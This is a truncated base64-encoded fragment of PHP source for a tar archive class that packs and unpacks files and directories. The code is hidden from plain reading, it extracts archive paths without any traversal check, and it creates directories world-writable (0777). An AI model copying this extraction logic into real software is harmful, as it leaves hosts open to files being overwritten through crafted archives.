lzX2FycmF5KCRmaWxlX2xpc3QpKSB7CgkJaWYgKGNvdW50KCRmaWxlX2xpc3QpPjApCgkJCSRyZXN1bHQgPSAkdGhpcy0+cGFja0ZpbGVBcnJheSgkZmlsZV9saXN0KTsKCgkJfSBlbHNlICR0aGlzLT5lcnJvcnNbXSA9IF9fKCdObyBmaWxlJykuX18oJyB0byAnKS5fXygnQXJjaGl2ZScpOwoKCQlpZiAoKCRyZXN1bHQpJiYoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSkpewoJCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAnJyk7CgoJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7CgoJCX0KCQkkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7CgoJCWlmICgkbmV3QXJjaGl2ZSAmJiAhJHJlc3VsdCl7CgkJJHRoaXMtPmNsb3NlVG1wRmlsZSgpOwoKCQl1bmxpbmsoJHRoaXMtPmFyY2hpdmVfbmFtZSk7CgoJCX0KCQlyZXR1cm4gJHJlc3VsdDsKCgl9CgoJZnVuY3Rpb24gcmVzdG9yZUFyY2hpdmUoJHBhdGgpewoJCSRmaWxlTmFtZSA9ICR0aGlzLT5hcmNoaXZlX25hbWU7CgoJCWlmICghJHRoaXMtPmlzR3ppcHBlZCl7CgkJCWlmIChmaWxlX2V4aXN0cygkZmlsZU5hbWUpKXsKCQkJCSAgICAgIGlmICgkZnAgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpKXsKCQkJCSAgICAgIAkkZGF0YSA9IGZyZWFkKCRmcCwgMik7CgoJCQkJICAgICAgCWZjbG9zZSgkZnApOwoKCQkJCSAgICAgIAlpZiAoJGRhdGEgPT0gJ1wzN1wyMTMnKXsKCQkJCSAgICAgIAkJJHRoaXMtPmlzR3ppcHBlZCA9IHRydWU7CgoJCQkJICAgICAgCX0KCQkJCSAgICAgIH0KCQkJfQoJCQllbHNlaWYgKChzdWJzdHIoJGZpbGVOYW1lLCAtMikgPT0gJ2d6JykgT1IgKHN1YnN0cigkZmlsZU5hbWUsIC0zKSA9PSAndGd6JykpICR0aGlzLT5pc0d6aXBwZWQgPSB0cnVlOwoKCQl9IAoJCSRyZXN1bHQgPSB0cnVlOwoKCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkgJHRoaXMtPnRtcF9maWxlID0gZ3pvcGVuKCRmaWxlTmFtZSwgJ3JiJyk7CgoJCWVsc2UgJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJGZpbGVOYW1lLCAncmInKTsKCgkJaWYgKCEkdGhpcy0+dG1wX2ZpbGUpewoJCQkkdGhpcy0+ZXJyb3JzW10gPSAkZmlsZU5hbWUuJyAnLl9fKCdpcyBub3QgcmVhZGFibGUnKTsKCgkJCXJldHVybiBmYWxzZTsKCgkJfQoJCSRyZXN1bHQgPSAkdGhpcy0+dW5wYWNrRmlsZUFycmF5KCRwYXRoKTsKCgkJCSR0aGlzLT5jbG9zZVRtcEZpbGUoKTsKCgkJcmV0dXJuICRyZXN1bHQ7CgoJfQoKCWZ1bmN0aW9uIHNob3dFcnJvcnMJKCRtZXNzYWdlID0gJycpIHsKCQkkRXJyb3JzID0gJHRoaXMtPmVycm9yczsKCgkJaWYoY291bnQoJEVycm9ycyk+MCkgewoJCWlmICghZW1wdHkoJG1lc3NhZ2UpKSAkbWVzc2FnZSA9ICcgKCcuJG1lc3NhZ2UuJyknOwoKCQkJJG1lc3NhZ2UgPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4kbWVzc2FnZS4nOiA8YnIvPic7CgoJCQlmb3JlYWNoICgkRXJyb3JzIGFzICR2YWx1ZSkKCQkJCSAgICAgICRtZXNzYWdlIC49ICR2YWx1ZS4nPGJyLz4nOwoKCQkJcmV0dXJuICRtZXNzYWdlOwkKCQl9IGVsc2UgcmV0dXJuICcnOwoKCQkKCSAgICAgIH0KCQoJZnVuY3Rpb24gcGFja0ZpbGVBcnJheSgkZmlsZV9hcnJheSl7CgkJJHJlc3VsdCA9IHRydWU7CgoJCWlmICghJHRoaXMtPnRtcF9maWxlKXsKCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7CgoJCQlyZXR1cm4gZmFsc2U7CgoJCX0KCQlpZiAoIWlzX2FycmF5KCRmaWxlX2FycmF5KSB8fCBjb3VudCgkZmlsZV9hcnJheSk8PTApCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKCgkJZm9yICgkaSA9IDA7ICRpPGNvdW50KCRmaWxlX2FycmF5KTsgJGkrKyl7CgkJCSRmaWxlbmFtZSA9ICRmaWxlX2FycmF5WyRpXTsKCgkJCWlmICgkZmlsZW5hbWUgPT0gJHRoaXMtPmFyY2hpdmVfbmFtZSkKCQkJCSAgICAgIGNvbnRpbnVlOwoKCQkJaWYgKHN0cmxlbigkZmlsZW5hbWUpPD0wKQoJCQkJICAgICAgY29udGludWU7CgoJCQlpZiAoIWZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpewoJCQkJICAgICAgJHRoaXMtPmVycm9yc1tdID0gX18oJ05vIGZpbGUnKS4nICcuJGZpbGVuYW1lOwoKCQkJCSAgICAgIGNvbnRpbnVlOwoKCQkJfQoJCQlpZiAoISR0aGlzLT50bXBfZmlsZSl7CgkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdJbnZhbGlkIGZpbGUgZGVzY3JpcHRvcicpOwoKCQkJcmV0dXJuIGZhbHNlOwoKCQkJfQoJCWlmIChzdHJsZW4oJGZpbGVuYW1lKTw9MCl7CgkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdGaWxlbmFtZScpLicgJy5fXygnaXMgaW5jb3JyZWN0Jyk7OwoKCQkJcmV0dXJuIGZhbHNlOwoKCQl9CgkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZW5hbWUpOwoKCQkka2VlcF9maWxlbmFtZSA9ICR0aGlzLT5tYWtlR29vZFBhdGgoJGZpbGVuYW1lKTsKCgkJaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSl7CgkJCWlmICgoJGZpbGUgPSBmb3BlbigkZmlsZW5hbWUsICdyYicpKSA9PSAwKXsKCQkJCSAgICAgICR0aGlzLT5lcnJvcnNbXSA9IF9fKCdNb2RlICcpLl9fKCdpcyBpbmNvcnJlY3QnKTsKCgkJCX0KCQkJCSAgICAgIGlmKCgkdGhpcy0+ZmlsZV9wb3MgPT0gMCkpewoJCQkJICAgICAgCWlmKCEkdGhpcy0+d3JpdGVIZWFkZXIoJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSkpCgkJCQkgICAgICAJCXJldHVybiBmYWxzZTsKCgkJCQkgICAgICB9CgkJCQkgICAgICB3aGlsZSAoKCRidWZmZXIgPSBmcmVhZCgkZmlsZSwgNTEyKSkgIT0gJycpewoJCQkJICAgICAgCSRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOwoKCQkJCSAgICAgIAkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7CgoJCQkJICAgICAgfQoJCQlmY2xvc2UoJGZpbGUpOwoKCQl9CWVsc2UgJHRoaXMtPndyaXRlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpOwoKCQkJaWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7CgkJCQkgICAgICBpZiAoISgkaGFuZGxlID0gb3BlbmRpcigkZmlsZW5hbWUpKSl7CgkJCQkgICAgICAJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yJykuJzogJy5fXygnRGlyZWN0b3J5ICcpLiRmaWxlbmFtZS5fXygnaXMgbm90IHJlYWRhYmxlJyk7CgoJCQkJICAgICAgCWNvbnRpbnVlOwoKCQkJCSAgICAgIH0KCQkJCSAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRkaXIgPSByZWFkZGlyKCRoYW5kbGUpKSl7CgkJCQkgICAgICAJaWYgKCRkaXIhPScuJyAmJiAkZGlyIT0nLi4nKXsKCQkJCSAgICAgIAkJJGZpbGVfYXJyYXlfdG1wID0gYXJyYXkoKTsKCgkJCQkgICAgICAJCWlmICgkZmlsZW5hbWUgIT0gJy4nKQoJCQkJICAgICAgCQkJJGZpbGVfYXJyYXlfdG1wW10gPSAkZmlsZW5hbWUuJy8nLiRkaXI7CgoJCQkJICAgICAgCQllbHNlCgkJCQkgICAgICAJCQkkZmlsZV9hcnJheV90bXBbXSA9ICRkaXI7CgoKCQkJICAgICAgCQkJJHJlc3VsdCA9ICR0aGlzLT5wYWNrRmlsZUFycmF5KCRmaWxlX2FycmF5X3RtcCk7CgoJCQkJICAgICAgCX0KCQkJCSAgICAgIH0KCQkJCSAgICAgIHVuc2V0KCRmaWxlX2FycmF5X3RtcCk7CgoJCQkJICAgICAgdW5zZXQoJGRpcik7CgoJCQkJICAgICAgdW5zZXQoJGhhbmRsZSk7CgoJCQl9CgkJfQoJCXJldHVybiAkcmVzdWx0OwoKCX0KCglmdW5jdGlvbiB1bnBhY2tGaWxlQXJyYXkoJHBhdGgpeyAKCQkkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwoKCQlpZiAoJHBhdGggPT0gJycJfHwgKHN1YnN0cigkcGF0aCwgMCwgMSkgIT0gJy8nICYmIHN1YnN0cigkcGF0aCwgMCwgMykgIT0gJy4uLycgJiYgIXN0cnBvcygkcGF0aCwgJzonKSkpCSRwYXRoID0gJy4vJy4kcGF0aDsKCgkJY2xlYXJzdGF0Y2FjaGUoKTsKCgkJd2hpbGUgKHN0cmxlbigkYmluYXJ5RGF0YSA9ICR0aGlzLT5yZWFkQmxvY2soKSkgIT0gMCl7CgkJCWlmICghJHRoaXMtPnJlYWRIZWFkZXIoJGJpbmFyeURhdGEsICRoZWFkZXIpKSByZXR1cm4gZmFsc2U7CgoJCQlpZiAoJGhlYWRlclsnZmlsZW5hbWUnXSA9PSAnJykgY29udGludWU7CgoJCQlpZiAoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnTCcpewkJCS8vcmVhZGluZyBsb25nIGhlYWRlcgoJCQkJICAgICAgJGZpbGVuYW1lID0gJyc7CgoJCQkJICAgICAgJGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ10vNTEyKTsKCgkJCQkgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKyl7CgkJCQkgICAgICAJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7CgoJCQkJICAgICAgCSRmaWxlbmFtZSAuPSAkY29udGVudDsKCgkJCQkgICAgICB9CgkJCQkgICAgICBpZiAoKCRsYXNwaWVjZSA9ICRoZWFkZXJbJ3NpemUnXSAlIDUxMikgIT0gMCl7CgkJCQkgICAgICAJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7CgoJCQkJICAgICAgCSRmaWxlbmFtZSAuPSBzdWJzdHIoJGNvbnRlbnQsIDAsICRsYXNwaWVjZSk7CgoJCQkJICAgICAgfQoJCQkJICAgICAgJGJpbmFyeURhdGEgPSAkdGhpcy0+cmVhZEJsb2NrKCk7CgoJCQkJICAgICAgaWYgKCEkdGhpcy0+cmVhZEhlYWRlcigkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsKCgkJCQkgICAgICBlbHNlICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAkZmlsZW5hbWU7CgoJCQkJICAgICAgcmV0dXJuIHRydWU7CgoJCQl9CgkJCWlmICgoJHBhdGggIT0gJy4vJykgJiYgKCRwYXRoICE9ICcvJykpewoJCQkJICAgICAgd2hpbGUgKHN1YnN0cigkcGF0aCwgLTEpID09ICcvJykgJHBhdGggPSBzdWJzdHIoJHBhdGgsIDAsIHN0cmxlbigkcGF0aCktMSk7CgoJCQkJICAgICAgaWYgKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnLycpICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAkcGF0aC4kaGVhZGVyWydmaWxlbmFtZSddOwoKCQkJCSAgICAgIGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLicvJy4kaGVhZGVyWydmaWxlbmFtZSddOwoKCQkJfQoJCQkKICAgICAgCQkJaWYgKGZpbGVfZXhpc3RzKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKXsKCQkJCSAgICAgIGlmICgoQGlzX2RpcigkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJycpKXsKCQkJCSAgICAgIAkkdGhpcy0+ZXJyb3JzW10gPV9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpLl9fKCcgYXMgZm9sZGVyJyk7CgoJCQkJICAgICAgCXJldHVybiBmYWxzZTsKCgkJCQkgICAgICB9CgkJCQkgICAgICBpZiAoKGlzX2ZpbGUoJGhlYWRlclsnZmlsZW5hbWUnXSkpICYmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1JykpewoJCQkJICAgICAgCSR0aGlzLT5lcnJvcnNbXSA9X18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJy4gJy5fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKTsKCgkJCQkgICAgICAJcmV0dXJuIGZhbHNlOwoKCQkJCSAgICAgIH0KCQkJCSAgICAgIGlmICghaXNfd3JpdGVhYmxlKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKXsKCQkJCSAgICAgIAkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nLiAnLl9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpOwoKCQkJCSAgICAgIAlyZXR1cm4gZmFsc2U7CgoJCQkJICAgICAgfQoJCQl9IGVsc2VpZiAoKCR0aGlzLT5kaXJDaGVjaygoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScgPyAkaGVhZGVyWydmaWxlbmFtZSddIDogZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkpKSAhPSAxKXsKCQkJCSAgICAgICR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy5fXygnIGZvciAnKS4kaGVhZGVyWydmaWxlbmFtZSddOwoKCQkJCSAgICAgIHJldHVybiBmYWxzZTsKCgkJCX0KCgkJCSAgICAgIGlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1Jyl7CgkJCQkgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKQkJewoJCQkJICAgICAgCWlmICghbWtkaXIoJGhlYWRlclsnZmlsZW5hbWUnXSwgMDc3NykpCXsKCQkJCSAgICAgIAkJCgkJCQkgICAgICAJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddOwoKCQkJCSAgICAgIAkJcmV0dXJuIGZhbHNlOwoKCQkJCSAgICAgIAl9IAoJCQkJICAgICAgfQoJCQl9IGVsc2UgewoJCQkJICAgICAgaWYgKCgkZGVzdGluYXRpb24gPSBmb3BlbigkaGVhZGVyWydmaWxlbmFtZSddLCAnd2InKSkgPT0gMCkgewoJCQkJICAgICAgCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddOwoKCQkJCSAgICAgIAlyZXR1cm4gZmFsc2U7CgoJCQkJICAgICAgfSBlbHNlIHsKCQkJCSAgICAgIAkkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXS81MTIpOwoKCQkJCSAgICAgIAlmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKykgewoJCQkJICAgICAgCQkkY29udGVudCA9ICR0aGlzLT5yZWFkQmxvY2soKTsKCgkJCQkgICAgICAJCWZ3cml0ZSgkZGVzdGluYXRpb24sICRjb250ZW50LCA1MTIpOwoKCQkJCSAgICAgIAl9CgkJCQkgICAgICAJaWYgKCgkaGVhZGVyWydzaXplJ10gJSA1MTIpICE9IDApIHsKCQkJCSAgICAgIAkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7CgoJCQkJICAgICAgCQlmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikpOwoKCQkJCSAgICAgIAl9CgkJCQkgICAgICAJZmNsb3NlKCRkZXN0aW5hdGlvbik7CgoJCQkJICAgICAgCXRvdWNoKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ3RpbWUnXSk7CgoJCQkJICAgICAgfQoJCQkJICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKCgkJCQkgICAgICBpZiAoZmlsZXNpemUoJGhlYWRlclsnZmlsZW5hbWUnXSkgIT0gJGhlYWRlclsnc2l6ZSddKSB7CgkJCQkgICAgICAJJHRoaXMtPmVycm9yc1tdID0gX18oJ1NpemUgb2YgZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddLicgJy5fXygnaXMgaW5jb3JyZWN0Jyk7CgoJCQkJICAgICAgCXJldHVybiBmYWxzZTsKCgkJCQkgICAgICB9CgkJCX0KCQkJaWYgKCgkZmlsZV9kaXIgPSBkaXJuYW1lKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSA9PSAkaGVhZGVyWydmaWxlbmFtZSddKSAkZmlsZV9kaXIgPSAnJzsKCgkJCWlmICgoc3Vic3RyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcvJykgJiYgKCRmaWxlX2RpciA9PSAnJykpICRmaWxlX2RpciA9ICcvJzsKCgkJCSR0aGlzLT5kaXJzW10gPSAkZmlsZV9kaXI7CgoJCQkkdGhpcy0+ZmlsZXNbXSA9ICRoZWFkZXJbJ2ZpbGVuYW1lJ107CgoJCgkJICAgICAgfQoJCXJldHVybiB0cnVlOwoKCX0KCglmdW5jdGlvbiBkaXJDaGVjaygkZGlyKXsKCQkkcGFyZW50X2RpciA9IGRpcm5hbWUoJGRpcik7CgoKCQlpZiAoKEBpc19kaXIoJGRpcikpIG9yICgkZGlyID09ICcnKSkKCQkJcmV0dXJuIHRydWU7CgoKCQlpZiAoKCRwYXJlbnRfZGlyICE9ICRkaXIpIGFuZCAoJHBhcmVudF9kaXIgIT0gJycpIGFuZCAoISR0aGlzLT5kaXJDaGVjaygkcGFyZW50X2RpcikpKQoJCQlyZXR1cm4gZmFsc2U7CgoKCQlpZiAoIW1rZGlyKCRkaXIsIDA3NzcpKXsKCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJyAnLiRkaXI7CgoJCQlyZXR1cm4gZmFsc2U7CgoJCX0KCQlyZXR1cm4gdHJ1ZTsKCgl9CgoJZnVuY3Rpb24gcmVhZEhlYWRlcigkYmluYXJ5RGF0YSwgJiRoZWFkZXIpewoJCWlmIChzdHJsZW4oJGJpbmFyeURhdGEpPT0wKXsKCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOwoKCQkJcmV0dXJuIHRydWU7CgoJCX0KCgkJaWYgKHN0cmxlbigkYmluYXJ5RGF0YSkgIT0gNTEyKXsKCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOwoKCQkJJHRoaXMtPl9fKCdJbnZhbGlkIGJsb2NrIHNpemUnKS4nOiAnLnN0cmxlbigkYmluYXJ5RGF0YSk7CgoJCQlyZXR1cm4gZmFsc2U7CgoJCX0KCgkJJGNoZWNrc3VtID0gMDsKCgkJZm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKSAkY2hlY2tzdW0rPW9yZChzdWJzdHIoJGJpbmFyeURhdGEsICRpLCAxKSk7CgoJCWZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkY2hlY2tzdW0gKz0gb3JkKCcgJyk7CgoJCWZvciAoJGkgPSAxNTY7ICRpIDwgNTEyOyAkaSsrKSAkY2hlY2tzdW0rPW9yZChzdWJzdHIoJGJpbmFyeURhdGEsICRpLCAxKSk7CgoKCQkkdW5wYWNrX2RhdGEgPSB1bnBhY2soJ2ExMDBmaWxlbmFtZS9hOG1vZGUvYTh1c2VyX2lkL2E4Z3JvdXBfaWQvYTEyc2l6ZS9hMTJ0aW1lL2E4Y2hlY2tzdW0vYTF0eXBlZmxhZy9hMTAwbGluay9hNm1hZ2ljL2EydmVyc2lvbi9hMzJ1bmFtZS9hMzJnbmFtZS9hOGRldm1ham9yL2E4ZGV2bWlub3InLCAkYmluYXJ5RGF0YSk7CgoKCQkkaGVhZGVyWydjaGVja3N1bSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydjaGVja3N1bSddKSk7CgoJCWlmICgkaGVhZGVyWydjaGVja3N1bSddICE9ICRjaGVja3N1bSl7CgkJCSRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJzsKCgkJCWlmICgoJGNoZWNrc3VtID09IDI1NikgJiYgKCRoZWFkZXJbJ2NoZWNrc3VtJ10gPT0gMCkpIAlyZXR1cm4gdHJ1ZTsKCgkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdFcnJvciBjaGVja3N1bSBmb3IgZmlsZSAnKS4kdW5wYWNrX2RhdGFbJ2ZpbGVuYW1lJ107CgoJCQlyZXR1cm4gZmFsc2U7CgoJCX0KCgkJaWYgKCgkaGVhZGVyWyd0eXBlZmxhZyddID0gJHVucGFja19kYXRhWyd0eXBlZmxhZyddKSA9PSAnNScpCSRoZWFkZXJbJ3NpemUnXSA9IDA7CgoJCSRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSB0cmltKCR1bnBhY2tfZGF0YVsnZmlsZW5hbWUnXSk7CgoJCSRoZWFkZXJbJ21vZGUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnbW9kZSddKSk7CgoJCSRoZWFkZXJbJ3VzZXJfaWQnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsndXNlcl9pZCddKSk7CgoJCSRoZWFkZXJbJ2dyb3VwX2lkJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ2dyb3VwX2lkJ10pKTsKCgkJJGhlYWRlclsnc2l6ZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydzaXplJ10pKTsKCgkJJGhlYWRlclsndGltZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd0aW1lJ10pKTsKCgkJcmV0dXJuIHRydWU7CgoJfQoKCWZ1bmN0aW9uIHdyaXRlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpewoJCSRwYWNrRiA9ICdhMTAwYThhOGE4YTEyQTEyJzsKCgkJJHBhY2tMID0gJ2ExYTEwMGE2YTJhMzJhMzJhOGE4YTE1NWExMic7CgoJCWlmIChzdHJsZW4oJGtlZXBfZmlsZW5hbWUpPD0wKSAka2VlcF9maWxlbmFtZSA9ICRmaWxlbmFtZTsKCgkJJGZpbGVuYW1lX3JlYWR5ID0gJHRoaXMtPm1ha2VHb29kUGF0aCgka2VlcF9maWxlbmFtZSk7CgoKCQlpZiAoc3RybGVuKCRmaWxlbmFtZV9yZWFkeSkgPiA5OSl7CQkJCQkJCS8vd3JpdGUgbG9uZyBoZWFkZXIKCQkkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICcuLy4vTG9uZ0xpbmsnLCAwLCAwLCAwLCBzcHJpbnRmKCclMTFzICcsIERlY09jdChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSkpLCAwKTsKCgkJJGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICdMJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7CgoKCgogICAgICAgICAgICAgIC8vICBDYWxjdWxhdGUgdGhlIGNoZWNrc3VtCgkJJGNoZWNrc3VtID0gMDsKCgoKICAgICAgICAgICAgICAvLyAgRmlyc3QgcGFydCBvZiB0aGUgaGVhZGVyCgkJZm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKQoJCQkkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUZpcnN0LCAkaSwgMSkpOwoKCgogICAgICAgICAgICAgIC8vICBJZ25vcmUgdGhlIGNoZWNrc3VtIHZhbHVlIGFuZCByZXBsYWNlIGl0IGJ5ICcgJyAoc3BhY2UpCgkJZm9yICgkaSA9IDE0ODsgJGkgPCAxNTY7ICRpKyspCgkJCSRjaGVja3N1bSArPSBvcmQoJyAnKTsKCgoKICAgICAgICAgICAgICAvLyAgTGFzdCBwYXJ0IG9mIHRoZSBoZWFkZXIKCQlmb3IgKCRpID0gMTU2LCAkaj0wOyAkaSA8IDUxMjsgJGkrKywgJGorKykKCQkJJGNoZWNrc3VtICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpOwoKCgogICAgICAgICAgICAgIC8vICBXcml0ZSB0aGUgZmlyc3QgMTQ4IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmUKCQkkdGhpcy0+d3JpdGVCbG9jaygkZGF0YUZpcnN0LCAxNDgpOwoKCgogICAgICAgICAgICAgIC8vICBXcml0ZSB0aGUgY2FsY3VsYXRlZCBjaGVja3N1bQoJCSRjaGVja3N1bSA9IHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGNoZWNrc3VtKSk7CgoJCSRiaW5hcnlEYXRhID0gcGFjaygnYTgnLCAkY2hlY2tzdW0pOwoKCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSwgOCk7CgoKCiAgICAgICAgICAgICAgLy8gIFdyaXRlIHRoZSBsYXN0IDM1NiBieXRlcyBvZiB0aGUgaGVhZGVyIGluIHRoZSBhcmNoaXZlCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFMYXN0LCAzNTYpOwoKCgkJJHRtcF9maWxlbmFtZSA9ICR0aGlzLT5tYWtlR29vZFBhdGgoJGZpbGVuYW1lX3JlYWR5KTsKCgoJCSRpID0gMDsKCgkJCXdoaWxlICgoJGJ1ZmZlciA9IHN1YnN0cigkdG1wX2ZpbGVuYW1lLCAoKCRpKyspKjUxMiksIDUxMikpICE9ICcnKXsKCQkJCSAgICAgICRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOwoKCQkJCSAgICAgICR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTsKCgkJCX0KCQlyZXR1cm4gdHJ1ZTsKCgkJfQoJCSRmaWxlX2luZm8gPSBzdGF0KCRmaWxlbmFtZSk7CgoJCWlmIChAaXNfZGlyKCRmaWxlbmFtZSkpewoJCQkkdHlwZWZsYWcgPSAnNSc7CgoJCQkkc2l6ZSA9IHNwcmludGYoJyUxMXMgJywgRGVjT2N0KDApKTsKCgkJfSBlbHNlIHsKCQkJJHR5cGVmbGFnID0gJyc7CgoJCQljbGVhcnN0YXRjYWNoZSgpOwoKCQkJJHNpemUgPSBzcHJpbnRmKCclMTFzICcsIERlY09jdChmaWxlc2l6ZSgkZmlsZW5hbWUpKSk7CgoJCX0KCQkkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICRmaWxlbmFtZV9yZWFkeSwgc3ByaW50ZignJTZzICcsIERlY09jdChmaWxlcGVybXMoJGZpbGVuYW1lKSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNF0pKSwgc3ByaW50ZignJTZzICcsIERlY09jdCgkZmlsZV9pbmZvWzVdKSksICRzaXplLCBzcHJpbnRmKCclMTFzJywgRGVjT2N0KGZpbGVtdGltZSgkZmlsZW5hbWUpKSkpOwoKCQkkZGF0YUxhc3QgPSBwYWNrKCRwYWNrTCwgJHR5cGVmbGFnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnKTsKCgkJJGNoZWNrc3VtID0gMDsKCgkJZm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKSAkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUZpcnN0LCAkaSwgMSkpOwoKCQlmb3IgKCRpID0gMTQ4OyAkaSA8IDE1NjsgJGkrKykgJGNoZWNrc3VtICs9IG9yZCgnICcpOwoKCQlmb3IgKCRpID0gMTU2LCAkaiA9IDA7ICRpIDwgNTEyOyAkaSsrLCAkaisrKSAkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUxhc3QsICRqLCAxKSk7CgoJCSR0aGlzLT53cml0ZUJsb2NrKCRkYXRhRmlyc3QsIDE0OCk7CgoJCSRjaGVja3N1bSA9IHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGNoZWNrc3VtKSk7CgoJCSRiaW5hcnlEYXRhID0gcGFjaygnYTgnLCAkY2hlY2tzdW0pOwoKCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYX